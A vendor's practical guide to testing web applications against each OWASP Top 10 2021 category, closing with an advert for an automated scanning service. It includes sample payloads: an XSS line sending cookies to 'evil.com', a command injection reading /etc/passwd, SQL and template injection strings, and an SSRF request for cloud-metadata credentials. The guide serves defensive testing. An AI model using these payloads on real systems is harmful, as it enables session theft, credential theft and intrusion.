OWASP Top 10 Web Application Vulnerabilities: A Practical Testing Guide
The OWASP Top 10 is the most referenced document in web application security. It's cited in compliance frameworks, penetration test scopes, security job descriptions, and procurement questionnaires worldwide. But citing it and actually testing for it are two different things.
This guide covers the OWASP Top 10 2021 from a practitioner's perspective: what each vulnerability actually is (not just the category name), how security teams test for it, which ones automated scanning catches reliably, and which ones require manual work.
The OWASP Top 10 2021 at a Glance
| Rank | Category | Automated Coverage |
|---|---|---|
| A01 | Broken Access Control | Partial — needs context |
| A02 | Cryptographic Failures | Strong |
| A03 | Injection | Strong |
| A04 | Insecure Design | Manual only |
| A05 | Security Misconfiguration | Strong |
| A06 | Vulnerable and Outdated Components | Strong |
| A07 | Identification and Authentication Failures | Moderate |
| A08 | Software and Data Integrity Failures | Partial |
| A09 | Security Logging and Monitoring Failures | Manual only |
| A10 | Server-Side Request Forgery (SSRF) | Moderate |
A01: Broken Access Control
Broken access control moved to #1 in 2021, up from #5. It was found in 94% of applications tested by OWASP contributors. It covers any situation where a user can act outside their intended permissions.
What it looks like in practice
Horizontal privilege escalation: User A accesses User B's data by changing an ID parameter.
GET /invoices/1234 ← your invoice
GET /invoices/1235 ← someone else's invoice (should be 403)
Vertical privilege escalation: A regular user accesses admin functionality.
GET /admin/users ← returns user list despite not being admin
POST /admin/users/delete ← deletes user account without admin role
Insecure direct object references (IDOR): Predictable identifiers (sequential integers, UUIDs in URL parameters) that aren't authorization-checked server-side.
Missing function-level access control: Frontend hides admin links, but the underlying API endpoints are unprotected.
How to test
- Create two accounts at the same privilege level. Test whether account A can access or modify account B's objects by substituting IDs.
- Create a regular and admin account. Test all admin endpoints using the regular account's session token.
- Test whether force-browsing to URLs that aren't linked in the UI still works.
- Check HTTP method substitution: if GET is allowed, try PUT, DELETE, PATCH without authorization.
- Test JWT manipulation: modify the payload (e.g. change
"role": "user"to"role": "admin") and see if the server accepts it.
Automated coverage: Scanners catch some misconfiguration patterns (unprotected admin directories, HTTP method confusion), but IDOR requires multi-user context that most automated tools lack. This is why access control remains the top vulnerability — it's hard to catch with tooling alone.
A02: Cryptographic Failures
Formerly "Sensitive Data Exposure," the 2021 update refocused this category on the cryptographic root causes rather than the exposure symptom. Weak or missing encryption puts data at risk in transit and at rest.
What it looks like in practice
- HTTP used instead of HTTPS for sensitive pages or API endpoints
- TLS configured with outdated protocol versions (TLS 1.0, 1.1) or weak cipher suites
- Passwords stored with MD5 or SHA-1 (not bcrypt, scrypt, or Argon2)
- Sensitive data in URL parameters (gets logged in server logs, proxy logs, browser history)
- Weak encryption keys (hardcoded secrets, short RSA keys)
- Cookie missing
Secureflag — can be transmitted over HTTP
How to test
- Run
testssl.shagainst every endpoint to enumerate protocol support, cipher suites, certificate details, and known TLS vulnerabilities (BEAST, CRIME, POODLE, Heartbleed, etc.) - Check for HTTP → HTTPS redirects and HSTS headers (
Strict-Transport-Security) - Inspect all cookies for
Secure,HttpOnly, andSameSiteattributes - Attempt to access the application over HTTP directly (not via redirect)
- Review the certificate chain for validity, expiry, and signing algorithm
Automated coverage: Strong. Tools like testssl.sh (used in Ironimo's scan workflow) comprehensively enumerate TLS issues. Header analysis catches missing Secure flags on cookies and absent HSTS.
A03: Injection
SQL injection, command injection, LDAP injection, XPath injection, template injection — any situation where untrusted data is sent to an interpreter as part of a command or query.
What it looks like in practice
SQL injection: The classic. User-supplied input modifies the SQL query structure:
SELECT * FROM users WHERE username = '$input'
-- Input: ' OR '1'='1
-- Result: returns all users
Cross-site scripting (XSS): Technically a form of injection — user-supplied JavaScript injected into pages and executed in other users' browsers:
<script>document.location='https://evil.com/?c='+document.cookie</script>
Command injection: Application passes user input to a shell command:
ping -c 1 $user_input
-- Input: 8.8.8.8; cat /etc/passwd
Server-side template injection (SSTI): User input rendered directly into a template engine:
Hello {{7*7}} → Hello 49 (confirms Jinja2 SSTI)
How to test
- Use
sqlmapto systematically test all parameters for SQL injection across GET/POST/JSON/cookie inputs - For XSS: inject polyglot payloads into all input fields, URL parameters, and HTTP headers that get reflected
- Test template injection with
{{7*7}},${7*7},#{7*7}in any field that might be template-rendered - Test command injection in fields that plausibly feed into system commands: domain lookups, file paths, IP addresses
- Check both reflected (input returned immediately) and stored (input saved and rendered later) injection points
Automated coverage: Strong for SQL injection (sqlmap) and known XSS patterns (nuclei templates). Template injection and command injection require more targeted testing. Stored XSS is harder to detect automatically because it requires correlating injection and rendering across different requests.
A04: Insecure Design
New in 2021, this category is intentionally distinct from implementation bugs. A secure implementation of an insecurely designed system is still insecure. This covers missing security controls, absent threat modeling, and architecturally flawed business logic.
What it looks like in practice
- A "forgot password" flow that reveals whether an email address is registered (user enumeration)
- Password reset tokens that don't expire
- No rate limiting on any authentication flow
- Business logic that allows negative quantities in a shopping cart (purchase items for negative price)
- A multi-tenant SaaS that identifies tenants only by a cookie value — no server-side isolation
- Allowing users to upload arbitrary file types to a publicly accessible directory
How to test
Insecure design requires manual testing against the application's intended behavior. The process is:
- Understand what the application is supposed to do — read documentation, walk through user flows
- Identify the business rules that govern those flows
- Attempt to violate each business rule through the API or UI
Automated coverage: Minimal. No automated tool understands your application's intended business logic. Some patterns (user enumeration through timing/response differences, absent rate limiting) can be detected automatically, but the broader category requires a practitioner who understands the application.
A05: Security Misconfiguration
The most commonly found category in the wild. Encompasses everything from default credentials to verbose error messages to unnecessary features left enabled.
What it looks like in practice
- Default admin credentials unchanged (
admin/admin,admin/password) - Directory listing enabled — browsing
/uploads/shows all uploaded files - Debug mode enabled in production — stack traces, environment variables, SQL queries exposed in error pages
- Missing HTTP security headers:
X-Content-Type-Options,X-Frame-Options,Content-Security-Policy - Open cloud storage buckets — S3, GCS, Azure Blob with public read access
- Verbose server headers:
Server: Apache/2.4.1 (Ubuntu)reveals version and OS - Development endpoints accessible in production:
/swagger-ui/,/.env,/phpinfo.php
How to test
- Run
niktofor common misconfigurations, exposed files, and default content - Run
nucleiwith misconfiguration templates — covers exposed panels, dev files, cloud misconfigurations - Enumerate HTTP headers on every response: missing security headers, verbose server information
- Test common sensitive paths:
/.env,/.git/config,/config.php,/backup.sql,/.aws/credentials - Check for open redirect vulnerabilities (exploitable in phishing)
- Test CORS policy on API endpoints
Automated coverage: Strong. This is where automated scanning performs best — nikto, nuclei, and header analysis tools systematically check hundreds of misconfiguration patterns in minutes.
A06: Vulnerable and Outdated Components
Using components with known vulnerabilities — libraries, frameworks, runtime environments — is one of the most reliably exploitable vulnerability classes because public exploits often exist.
What it looks like in practice
- Running an outdated version of jQuery with known XSS vulnerabilities
- Using Log4j 2.14.x (Log4Shell) or similar actively exploited library vulnerabilities
- Running an unpatched web server version with known remote code execution
- WordPress with outdated plugins that have disclosed CVEs
- Including open-source dependencies in a compiled application without tracking their versions
How to test
- Version fingerprinting:
whatweb,wappalyzer, and nuclei version-detection templates identify technologies and versions - Correlate detected versions against CVE databases (NVD, OSV, exploit-db)
- For server-side: check HTTP response headers and error pages for version information
- Run nuclei with CVE-specific templates for known high-severity vulnerabilities
- Check for exposed package files:
/package.json,/composer.json,/requirements.txt,/Gemfile.lock
Automated coverage: Strong. Version detection and CVE correlation is something automated tools do well at scale. Nuclei's template library covers hundreds of specific CVEs for common technologies.
A07: Identification and Authentication Failures
Weaknesses in how applications verify user identity and manage sessions. Formerly "Broken Authentication," the 2021 update broadened the scope to include identification as well.
What it looks like in practice
- No rate limiting on login — allows credential stuffing or brute-force attacks
- Weak password policy — accepts single-character passwords
- Predictable session tokens — sequential IDs, timestamp-based tokens
- Sessions not invalidated on logout — old session tokens still work after the user logs out
- Missing multi-factor authentication for privileged functions
- Password reset tokens sent via email without expiry or single-use enforcement
- Security questions as MFA bypass (easily guessable or publicly available answers)
How to test
- Test login rate limiting: send 100+ requests with wrong passwords and observe whether the account gets locked or requests get throttled
- Attempt login with known credential dumps using a small wordlist (credential stuffing simulation)
- Capture a session token before and after logout — attempt to reuse the pre-logout token
- Analyze session token entropy: are tokens random and unpredictable, or do they follow a pattern?
- Test the password reset flow: can tokens be reused? When do they expire? Is the token sufficiently random?
- Check whether the application accepts very weak passwords
Automated coverage: Moderate. Rate limiting checks, session token analysis, and some auth header validation can be automated. Full authentication testing (credential stuffing simulation, password policy testing) requires configured test accounts and targeted scripts.
A08: Software and Data Integrity Failures
New in 2021. Covers failures to verify software updates, critical data, and CI/CD pipelines — the category that encompasses supply chain attacks.
What it looks like in practice
- Applications downloading plugins or updates from untrusted CDNs without integrity verification
- Loading JavaScript from external sources without
integrity(SRI) attributes - Deserialization vulnerabilities — accepting serialized objects from untrusted sources (Java deserialization, PHP unserialize, Python pickle)
- Auto-updates that don't verify cryptographic signatures
- CI/CD pipelines with excessive permissions that could be compromised to inject malicious code
How to test
- Check all
<script>tags loading from external CDNs — do they includeintegrityandcrossoriginattributes (Subresource Integrity)? - Identify all deserialization points — forms that accept serialized data, API endpoints that accept complex objects
- Test deserialization endpoints with known gadget chains (ysoserial for Java, phpggc for PHP)
- Review update mechanisms: how does the application verify the authenticity of updates?
- Inspect Content Security Policy headers — do they allow loading scripts from arbitrary external sources?
Automated coverage: Partial. Automated scanning can detect missing SRI attributes and common deserialization signatures. CI/CD security and supply chain assessment require separate tooling and manual review.
A09: Security Logging and Monitoring Failures
The only category on the Top 10 you can't directly exploit — it's about the absence of defensive capability rather than the presence of a vulnerability. Poor logging means attackers go undetected; poor monitoring means breaches are discovered too late.
What it looks like in practice
- Login failures not logged, or logged without sufficient context (IP, user agent, attempted username)
- High-value transactions (password changes, privilege changes, large financial transactions) not audited
- Log files stored locally and overwritten — no remote log aggregation
- No alerting on anomalous patterns: 1000 failed logins from one IP, bulk data export, repeated access to unauthorized resources
- Logs contain sensitive data (passwords, session tokens) that shouldn't be logged
- No process to review logs — logs collected but not monitored
How to test
This category can't be tested from the outside. Assessment requires:
- Direct access to log systems or cooperation from the development/operations team
- Performing test actions (failed logins, unauthorized access attempts) and verifying they appear in logs
- Reviewing alerting configuration — are thresholds set? Are alerts going anywhere?
- Verifying log retention, integrity, and off-system backup
Automated coverage: None from the outside. Some infrastructure scanning tools can check whether WAFs or IDS/IPS are configured, but this category is inherently an internal assessment.
A10: Server-Side Request Forgery (SSRF)
Added to the Top 10 in 2021 based on survey data from the security community. SSRF allows attackers to induce the server to make HTTP requests to arbitrary destinations, potentially reaching internal services not exposed to the internet.
What it looks like in practice
- Webhook configuration:
{"webhook_url": "http://169.254.169.254/latest/meta-data/"}— exfiltrates AWS instance metadata including IAM credentials - URL preview/screenshot features: provide a URL to an internal service
- PDF generators that fetch remote HTML: provide a URL to an internal admin panel
- Import features that accept remote file URLs
- Any endpoint where the server fetches a URL on behalf of the user
How to test
- Identify all application features that cause server-side HTTP requests: webhooks, URL imports, link previewers, document generators
- Test with cloud metadata endpoints: AWS (
http://169.254.169.254/), GCP (http://metadata.google.internal/), Azure (http://169.254.169.254/metadata/instance/) - Test internal network discovery: common private IP ranges (
10.0.0.1,192.168.1.1,172.16.0.1) - Use DNS-based SSRF detection: have the server fetch a URL on a domain you control (Burp Collaborator, interactsh) and observe callbacks
- Test URL bypass techniques:
http://127.0.0.1variants (http://0.0.0.0,http://localhost, IPv6http://[::1]/)
Automated coverage: Moderate. Nuclei has SSRF detection templates. DNS-based SSRF detection requires an out-of-band callback infrastructure. Full SSRF testing — particularly internal network enumeration — requires manual work.
Building a Testing Program Around the Top 10
What automated scanning covers well
A properly configured automated scanner running Kali Linux tools (nmap, nikto, nuclei, sqlmap, testssl, whatweb) covers A02, A03, A05, A06 reliably, with moderate coverage of A07 and A10. In practice, that means:
- TLS/SSL vulnerabilities and misconfigurations
- Common injection patterns (SQLi, basic XSS, command injection indicators)
- Security header gaps and server misconfigurations
- Known CVEs for detected component versions
- Authentication header patterns and session fixation indicators
- SSRF indicators in common places
What requires manual testing
A04 (insecure design), A09 (logging failures), and substantial portions of A01 (access control) and A08 (integrity failures) require human practitioners who understand the application's business logic and intended behavior. No scanner replaces:
- Two-account IDOR/BOLA testing
- Business logic abuse (negative quantities, price manipulation, workflow skipping)
- Log and monitoring review
- Threat modeling and architectural risk assessment
The complementary approach
Security programs that work use both. Automated scanning runs continuously — catching regressions, covering the infrastructure-level and known-pattern categories, and providing a documented baseline. Manual penetration testing runs annually (or per major release), going deep on the context-dependent categories that require practitioner judgment.
The teams that get breached are usually doing neither — relying on a once-a-year pentest that leaves 11 months of undetected change, or trusting automated scanning to catch everything when it provably can't.
Ironimo runs the tools professional pentesters use — nmap, nikto, nuclei, sqlmap, testssl — as a continuous, automated scan workflow. It covers the OWASP Top 10 categories where automation performs best: cryptographic failures, injection, misconfiguration, vulnerable components, and basic authentication gaps. Your team sees the raw tool output, not proprietary findings you can't verify.
Start free scan